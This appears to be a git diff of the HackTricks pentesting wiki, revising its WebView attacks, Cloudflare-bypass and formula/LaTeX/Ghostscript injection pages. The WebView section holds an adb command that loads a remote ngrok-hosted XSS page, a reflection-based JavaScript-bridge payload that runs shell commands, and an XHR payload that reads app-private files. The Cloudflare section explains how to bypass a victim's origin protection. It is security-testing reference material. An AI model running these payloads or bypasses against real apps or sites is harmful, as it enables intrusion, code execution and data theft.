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SUMMARY.md
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@ -585,7 +585,7 @@
* [LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
* [File Upload](pentesting-web/file-upload/README.md)
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
* [Formula/CSV/Doc/LaTeX Injection](pentesting-web/formula-doc-latex-injection.md)
* [Formula/CSV/Doc/LaTeX/GhostScript Injection](pentesting-web/formula-csv-doc-latex-ghostscript-injection.md)
* [HTTP Connection Contamination](pentesting-web/http-connection-contamination.md)
* [HTTP Connection Request Smuggling](pentesting-web/http-connection-request-smuggling.md)
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)

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mobile-pentesting/android-app-pentesting/webview-attacks.md
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@ -1,31 +1,30 @@
# Webview Attacks
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Interesting Configurations
# Interesting Configurations
You can identify an exposed WebView like this:
## File Access
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
### File Access
_WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\
If the application has _**android.permission.READ\_EXTERNAL\_STORAGE** _ it will be able to read and load files **from the external storage**.\
If the application has \_**android.permission.READ\_EXTERNAL\_STORAGE** \_ it will be able to read and load files **from the external storage**.\
The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file.
### Universal Access From File URL (Deprecated)
#### Universal Access From File URL (Deprecated)
> Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.
>
@ -41,20 +40,20 @@ The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN
Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled.
{% endhint %}
### File Access From File URLs (Deprecated) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
#### File Access From File URLs (Deprecated) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
> Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to access arbitrary local files including WebView cookies and app private data.
In summary, this prevents javascript to access local files via `file://` protocol.\
Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`. \
Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`.\
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above.
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it.
### File Access
#### File Access
> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res.
@ -64,18 +63,30 @@ The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https:/
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it.
### WebViewAssetLoader
#### WebViewAssetLoader
> Helper class to load local files including application's static assets and resources using http(s):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy.
This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server.
## Javascript Enabled
### Javascript Enabled
WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it. \
WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it.\
Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
## Javascript Bridge
here is an example of an exposed webview vulnerable to XSS via the parameter "support\_url" (which can indicate the URL to load in the webviwe):
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
It's possible to exploit that vuln from adb with something like:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
### Javascript Bridge
Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** (annotated with `@JavascriptInterface`) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_.
@ -83,7 +94,7 @@ Please note that **when you use `addJavascriptInterface`, you're explicitly gran
> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated).
### Static Analysis
#### Static Analysis
```javascript
//Class with a method to access a secret
@ -120,7 +131,7 @@ If `addJavascriptInterface` is necessary, take the following considerations:
* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox).
* If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (`<uses-sdk android:minSdkVersion="17" />`).
## Javascript Bridge to RCE via Reflection
### Javascript Bridge to RCE via Reflection
As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_) once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one:
@ -137,7 +148,7 @@ execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.\
In that scenario, you won't be able to abuse Reflection to execute arbitrary code.
## Remote Debugging
### Remote Debugging
**Remote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**\
The **device** needs to be **accessible** by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access **chrome://inspect/#devices**:
@ -169,9 +180,9 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
}
```
# Payloads
## Payloads
## Exfiltrate arbitrary files
### Exfiltrate arbitrary files
```javascript
var xhr = new XMLHttpRequest();
@ -184,28 +195,20 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
xhr.send(null);
```
# References
## References
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

20
network-services-pentesting/pentesting-web/uncovering-cloudflare.md
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@ -71,6 +71,26 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
```
## Bypassing Cloudflare through Cloudflare
### Authenticated Origin Pulls
This mechanism relies on **client** [**SSL certificates**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **to authenticate connections** between **Cloudflare’s reverse-proxy** servers and the **origin** server, which is called **mTLS**.
Instead of configuring it's own certifica, Customer can simple use Cloudflare’s certificate to allow any connection from Cloudflare, **regardless of the tenant**.
{% hint style="danger" %}
Therefore, an attacker could just set a **domain in Cloudflare using CLoudflares certificate and point** it to the **victim** domain **IP** address. This way, setting his domain completely unprotected, Cloudflare won't protect the requests sent.
{% endhint %}
More info [**here**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
### Allowlist Cloudflare IP Addresses
This will **reject connections that do not originate from Cloudflare’s** IP address ranges. This is also vulnerable to the previous setup where an attacker just **point his own domain in Cloudflare** to the **victims IP** address and attack it.
More info [**here**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
## Bypass Cloudflare for scraping
### Cache

11
pentesting-web/formula-doc-latex-injection.md → pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
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@ -1,4 +1,4 @@
# Formula/CSV/Doc/LaTeX Injection
# Formula/CSV/Doc/LaTeX/GhostScript Injection
<details>
@ -12,7 +12,7 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
@ -242,6 +242,10 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
TODO: Create a summary with the more relevant information and techniques from [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## References
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
@ -249,13 +253,12 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

2
pentesting-web/web-vulnerabilities-methodology/README.md
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@ -120,7 +120,7 @@ Functionalities that generate files including user input might execute unexpecte
Users that open files uploaded by users or automatically generated including user input might be compromised.
* [ ] [**File Upload**](../file-upload/)
* [ ] [**Formula Injection**](../formula-doc-latex-injection.md)
* [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)